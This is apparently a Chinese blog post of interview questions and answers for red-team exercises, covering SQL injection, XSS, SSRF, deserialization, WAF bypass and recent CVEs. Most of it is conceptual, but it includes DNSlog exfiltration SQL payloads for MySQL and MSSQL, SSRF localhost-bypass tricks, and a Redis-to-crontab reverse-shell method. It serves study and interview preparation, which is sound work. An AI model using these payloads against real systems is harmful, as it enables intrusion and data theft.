hvv面试题目总结

一、web常问


1. SQL注入原理的种类?防御呢?预编译原理?


原理:在数据交互中,前端的数据传入到后台处理时,由于后端没有做严格的判断,导致其传入的“数
据”拼接到SQL语句中后,被当作SQL语句的一部分执行。
种类:字符,数字,布尔,报错,延迟,联合,堆叠,宽字节,XFF等。
修复:使用预编译,PDO,正则表达式过滤,开启魔术引号,加装WAF等。
预编译原理:预编译将一次查询通过两次交互完成,第一次交互发送查询语句的模板,由后端的SQL引擎进行解析为AST或Opcode,第二次交互发送数据,代入AST或Opcode中执行,无论后续向模板传入什么参数,这些参数仅仅被当成字符串进行查询处理,因此杜绝了sql注入的产生。



2. XSS的种类有哪些?区别?修复呢?

种类:存储型,反射型,DOM型。
区别:

        存储型:常出现在信息修改添加等地方,导致恶意代码被存储在数据库中,每当被攻击者访问到后就会触发执行;

        反射型:常出现在url中,一般需要攻击者提前构造好恶意链接,欺骗用户点击,触发攻代码;

        DOM型:攻击代码在url中,然后输出在了浏览器的DOM节点中。简单比较会发现,存储和反射都经过服务器,而DOM是纯前端。


修复:对输入数据进行Html Encode 处理,白名单过滤,过滤JavaScript 事件的标签,开启http-only,装WAF等。

3. XSS,CSRF和SSRF区别?(很常问)

XSS:跨站脚本攻击;
CSRF:跨站请求伪造脚本攻击;
SSRF:服务器请求伪造攻击。


区别:

        XSS是服务器对用户输入的数据没有进行足够的过滤,导致客户端浏览器在渲染服务器返回的html页面时,出现了预期值之外的 脚本语句被执行。

        CSRF:CSRF是服务器端没有对用户提交的数据进行随机值校验,且对http请求包内的refer字段校验不严,导致攻击者可以 利用用户的Cookie信息伪造用户请求发送至服务器。

        SSRF:SSRF是服务器对用户提供的可控URL过于信任,没有对攻击者提供的URL进行地址限制和足够的检测,导致攻击者可以以此为跳板攻击内网或其他服务器。

4. XXE漏洞了解吗?

XXE漏洞即xml外部实体注入漏洞,发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口、攻击内网网站、发起dos攻击等危害。

5. PHP反序列化有了解吗?


序列化就是将一个对象转换成字符串,反序列化则反之,将字符串重新转化为对象。此外,PHP反序列化又可以简单分成两种,一种无类,一种有类,无类利用就略微简单,如果源码会将输入的值进行反序列化,那我们就需要提前将数据序列化后再传入。而想要利用有类就要用到魔术方法,而魔术方法就像一个潜规则一样,例如我们在创建对象时,就会触发__construct(),并执行__construct()中的代码。

再用通俗的话来说,例如有人喊出了你女朋友的名字,你脑海中就会马上复现出她的身影一样,没有人
让你特意去想,只是一种无意识的规则调用。

5.1 JAVA反序列化了解吗?有没有了解过shrio反序列化?(最常问,无论hvv还是工作面试)?


Java中的ObjectOutputStream类writeObject()方法可以实现序列化,其作用把对象转换成字节流,便于保存或者传输,而ObjectInputStream类的readObject()方法用于反序列化,作用就是把字节流还原成对象。

shiro反序列化主要是Apache shiro提供了一个remember的一个功能,用户登录成功后会生成经过加密并编码的cookie,保存在浏览器中方便用户的日常使用,而服务器对cookie的处理流程就是先获取浏览器上保存的cookie,然后将其bs64解码,再进行AES解密,再将其反序列化进行校验,而漏洞就是出现在这里,我们都知道AES它是一个硬编码,他是有默认密钥的,如果程序员没有去修改或者过于简单,那我们就可以进行cookie重构,先构造我们的恶意代码,然后将恶意代码进行序列化,然后AES加密(密钥我们已经爆破出来了),再进行bs64编码,形成我们新的cookie,而服务器在处理时就会按照刚才的处理流程,就会在服务端触发我们构造的恶意代码。

6. 逻辑漏洞遇到过哪些,给你登录框有没有什么思路?


常见逻辑漏洞:越权,响应包修改,支付金额修改,cookie爆破,密码找回方面等等
登录页面思路:爆破,session覆盖,sql注入,xss,任意用户注册,js文件查看敏感信息,短信轰炸,万能密码,二次注入,模板注入等等

7. CDN和DNS区别?CDN绕过思路?


CDN:内容分发网络,主要作用就是让用户就近访问网络资源,提高响应速度,降低网络拥堵。
DNS:域名服务器,主要作用就是将域名翻译成ip地址。


CDN绕过思路:子域名,内部邮件,黑暗引擎搜索,国外ping,证书及DNS查询,app抓包,配置不当泄
露,扫全网,DOS攻击等。

8. 常见的中间件漏洞知道哪些?


IIS:PUT漏洞、短文件名猜解、远程代码执行、解析漏洞等
Apache:解析漏洞、目录遍历等
Nginx:文件解析、目录遍历、CRLF注入、目录穿越等
Tomcat:远程代码执行、war后门文件部署等
JBoss:反序列化漏洞、war后门文件部署等
...........
WebLogic:反序列化漏洞、SSRF任意文件上传、war后门文件部署等

9. WAF绕过的手法你知道哪些?


这里从以sql注入为例,从三个层面简单总结一下手法。


1.从架构层面:找到服务器真实IP,同网段绕过,http和https同时开放服务绕过,边缘资产漏洞利用绕过。
2.从协议层面:分块延时传输,利用pipline绕过,利用协议未覆盖绕过,POST及GET提交绕过。
3.从规则层面:编码绕过,等价符号替换绕过,普通注释和内敛注释,缓冲区溢出,mysql黑魔法,白名单及静态资源绕过,文件格式绕过,参数污染。等等等等等等

10. 命令无回显如何解决?


无回显:延时判断,http请求监听,DNSlog利用,写入当前目录下载查看等等。

11. 3389端口无法连接的几种情况?


1.3389关闭状态,

2.端口修改,

3.防火墙连接,

4.处于内网环境,

5.超过了服务器最大连接数,

6.管理员设置权限,指定用户登录。

12. 常问的端口信息?


21:FTP文件传输协议
22:SSH远程连接
23:TELNET远程登录
80:HTTP超文本传输协议
53:DNS域名系统
25:SMTP邮件服务
3306:MYSQL
1433:MSSQL
443:HTTPS安全超文本传输协议
3389:windows远程桌面服务端口
7701:weblogic
8080:TCP,HTTP协议代理服务器:Apache-tomcat默认端口号

13. 渗透测试的流程?(主要看自己)


单一网站:先判断有无CDN,有先找真实ip,无的话扫扫旁站,c段,此外识别CMS,看看使用什么中间件,插件,系统等等,再对其进行端口探测,目录扫描,查看网站的js文件,看看有没有敏感信息泄露,找找看
看有没有app,公众号之类的等等扩大资产面,然后对收集到的信息进行常规的漏洞探测。网段或区域:使用goby工具对资产进行一个批量的扫描,批量打点,然后对可能存在漏洞的薄弱点进行漏洞探测。

14. 什么是逻辑漏洞?说出至少三种业务逻辑漏洞,以及修复方式?


逻辑漏洞是指由于程序逻辑不严或逻辑太复杂,导致一些逻辑分支不能够正常处理或处理错误。

拿支付漏洞来说,简单思路有价格修改,支付状态修改,数量最大值溢出,订单替换,支付接口替换,四舍五入,越权支付等等。
拿登录来说,修改状态信息,密码修改跳过验证等等。


密码找回漏洞中存在:

1)密码允许暴力破解、

2)存在通用型找回凭证、

3)可以跳过验证步骤、

4)找回凭证可以拦包获取。


身份认证漏洞中最常见的是:

1)会话固定攻击、

2)Cookie 仿冒。只要得到 Session 或 Cookie 即可伪造用户身份。


验证码漏洞中存在:

1)验证码允许暴力破解、

2)验证码可以通过 Javascript 或者改包的方法来进行绕过。

15. 未授权访问你可以简单说说吗?


Redis 未授权访问漏洞未开启认证,导致可以直接连接到数据库,然后在攻击机中生成ssh公钥和私钥,密码设置为空,然后将生成的公钥写入,再利用私钥连接。


JBOSS 未授权访问漏洞访问ip/jmx-console 就可以浏览 jboss 的部署管理的信息面板,不需要输入用户名和密码可以直接部署上传木马。简单来说就是对某些页面的验证不严格导致绕过了用户验证的环节,使其可以直接访问到某些登录后才能访问到的页面。

16. 打点一般会用什么漏洞?


优先以java反序列化这些漏洞像shiro,fastjson,weblogic,用友oa等等进行打点,随后再找其他脆弱
性易打进去的点。因为javaweb程序运行都是以高权限有限运行,部分可能会降权。

17. 平常怎么去发现shiro漏洞的?


登陆失败时候会返回rememberMe=deleteMe字段或者使用shiroScan被动扫描去发现


完整过程:
未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

18. weblogic权限绕过?


1. 通过静态资源来绕过权限验证,防止被重定向到登陆界面。
2. 通过请求 .portal ,控制处理的 Servlet 是渲染 UI 的MBeanUtilsInitSingleFileServlet 。
3. 通过编码后的 ../ ,让最终渲染的模版是console.portal 。

19. fastjson漏洞利用原理?


在请求包里面中发送恶意的json格式payload,漏洞在处理json对象的时候,没有对@type字段进行过滤,从而导致攻击者可以传入恶意的TemplatesImpl类,而这个类有一个字段就是_bytecodes,有部分函数会根据这个_bytecodes生成java实例,这就达到fastjson通过字段传入一个类,再通过这个类被生成时执行构造函数。

20.拿到webshell不出网情况下怎么办?

reg上传去正向连接。探测出网协议,如dns,icmp。

21. PHP 代码执行的危险函数?PHP 命令执行函数 ?

PHP 代码执行的危险函数

call_user_func()、 call_user_func_array()、create_function()、 array_map()等。

PHP 命令执行函数

system()、shell_exec()、 passthru()、exec()、popen()、proc_open()、putenv()等。

22. Sql 注入无回显的情况下,利用 DNSlog,mysql 下利用什么 构造代码?mssql 下又如何?

(1)没有回显的情况下,一般编写脚本,进行自动化 注入。但与此同时,由于防火墙的存在,容易被封禁 IP,可以尝试调整请求频率,有条件的使用代理池进 行请求。

(2)此时也可以使用 DNSlog 注入,原理就是把服务 器返回的结果放在域名中,然后读取 DNS 解析时的日 志,来获取想要的信息。

(3)Mysql 中利用 load_file() 构造payload: ' and if((select load_file(concat('\\\\',(select database()),'. \\abc'))),1,0)# xxx.ce ye.io

(4)Mssql 下利用 master..xp_dirtree 构造payload: DECLARE @host varchar(1024);SELECT @host=(SELECT xxx db_name())+'. ';EXEC('master..xp_dirtree"\'+@ host+'\foobar$"');

23. phpmyadmin写sehll的方法?

1.常规导入shell的操作

2.一句话导出shell

3.日志备份获取shell

24. 缓冲区溢出原理?

由于C/C++语言没有数组越界检查机制,当向局部数组 缓冲区里写入的数据超过为其分配的大小时,就会发 生缓冲区溢出。攻击者可利用缓冲区溢出来窜改进程 运行时栈,从而改变程序正常流向,轻则导致程序崩 溃,重则系统特权被窃取。比如只有1000,你写入 1500,多出了500,其中的100在汇编里调用JMP,剩下 400是shellcode,那100字节调用JMP跳到shellcode,然 后反弹连接。

25. SSRF 禁用 127.0.0.1 后如何绕过,支持哪些协议?

(1) 利用进制转换

(2) 利用DNS解析

(3) 利用句号(127。0。0。1)

(4) 利用[::](http://[::]:80/);

(5) 利用@( http://example.com@127.0.0.1 );

(6) 利用短地址( http://dwz.cn/11SMa );

(7) 协议(Dict://、SFTP://、TFTP://、LDAP://、 Gopher://)

26. phar协议如何利用,php伪协议input与post数据包发送有什么区别?

(1)可以Bypass一些waf,绕过上传限制

(2)Phar反序列化,Phar:// 伪协议读取phar文件时, 会反序列化meta-data储存 

(3) 区别

        1. application/x-www-form-urlencoded 或 multipart/form-data时,php://input 中是原始数据。 $_POST 中是关联数组,且没有上传控件的内容。

        2.enctype="multipart/form-data" 时php://input 是无 效的。

        3. Content-Type = "text/plain"时,$_POST 不能获取 post的数据, php://input可以。

27. ssrf怎么用redis写shell?

SSRF服务端请求伪造:

1.对内网扫描,获取 banner 。

2.攻击运行在内网的应用,主要是使用 GET 参数就 可以实现的攻击(比如 Struts2,sqli 等)。

3.利用协议读取本地文件。

4. 云计算环境AWS Google Cloud 环境可以调用内网 操作 ECS 的 API。 webligic SSRF漏洞:通过SSRF的gopher协议操作内网 的redis,利用redis将反弹shell写入crontab定时任务, url编码,将\r字符串替换成%0d%0a。

28 . sqlmap自带脚本你知道哪些?由编写过吗?

1、apostrophemask.py :将引号替换为UTF-8,用于过 滤单引号。

2、base64encode.py :替换为base64编码。

3、multiplespaces.py:围绕SQL关键字添加多个空格。

4、space2plus.py:用+号替换为空格。

29. SVN/GIT源代码泄露?

(1)在使用SVN管理本地代码过程中,会自动生成一 个名为.svn的隐藏文件夹,其中包含重要的源代码信。

(2)使用git进行版本控制,对站点自动部署。如果配 置不当,可能会将.git文件夹直接部署到线上环境。这 就引起了git泄露漏洞。

30. 提权你了解过吗?udf提取原理是什么?

将udf文件放到指定位置(Mysql>5.1放在Mysql根目录 的lib\plugin文件夹下) 从udf文件中引入自定义函数(user defined function) 执行自定义函数。

31. 讲诉一些近期及有代表性的漏洞?

Microsoft Exchange.Net反序列化远程执行(CVE-2020-0688):该漏洞是由于Exchange控制面板(ECP)组件中使用了静态密钥validationKey和decryptionKey。

Apache Tomcat 文件包含漏洞(CVE-2020-1938):默认情 况下,Tomcat会开启AJP连接器, Tomcat在AJP协议的实 现上存在漏洞,导致攻击者可以通过发送恶意的请求,可 以读取或者包含Web根目录下的任意文件,配合文件上 传,将导致任意代码执行(RCE)。

Weblogic IIOP反序列化漏洞(CVE-2020-2551): weblogic核心组件中IIOP协议,通过该协议对存在漏洞 的WebLogic进行远程代码执行的攻击。

Apache Solr远程代码执行(CVE-2019-12409):默认 配置文件solr.in.sh,在其配置文件中 ENABLE_REMOTE_JMX_OPTS字段默认配置不安全.如果 使用默认配置,将启用JMX监视服务并将对公网监听 18983的RMI端口,无需任何验证,配合JMX RMI远程代码 执行。

SHIRO-550 反序列化漏洞:shiro默认使用了 CookieRememberMeManager,其处理cookie的流程 微信公众号 不知名安全团队 是:得到rememberMe的cookie值-->Base64解码-->AES 解密-->反序列化。AES的密钥是硬编码在代码里,就导 致了反序列化的RCE漏洞。

SHIRO-721反序列化漏洞:不需要key,利用Padding Oracle Attack构造出RememberMe字段后段的值结合合 法的RememberMe cookie即可完成攻击。

泛微Ecology OA SQL注入漏洞:validate.jsp接口的SQL 注入,/cpt/manage/validate.jsp。

泛微ecology OA系统接口存在数据库配置信息泄露: /mobile/dbconfigreader.jsp,直接访问该页面将为DES加 密以后的乱码,使用DES算法结合硬编码的key进行解 密。

Confluence本地文件泄露漏洞(CVE-2019- 3394) :

catalina.jar中的org.apache.catalina.webresources.StandardRoot.class的 getResource方法的validate存在过滤和限制,所以可遍 历路径均在/WEB-INF下。

Apache Dubbo反序列化漏洞(CVE-2019-17564):当 HTTP remoting 开启的时候,存在反序列化漏洞。

时间有限,---未完待续........

  • 2
    点赞
  • 35
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值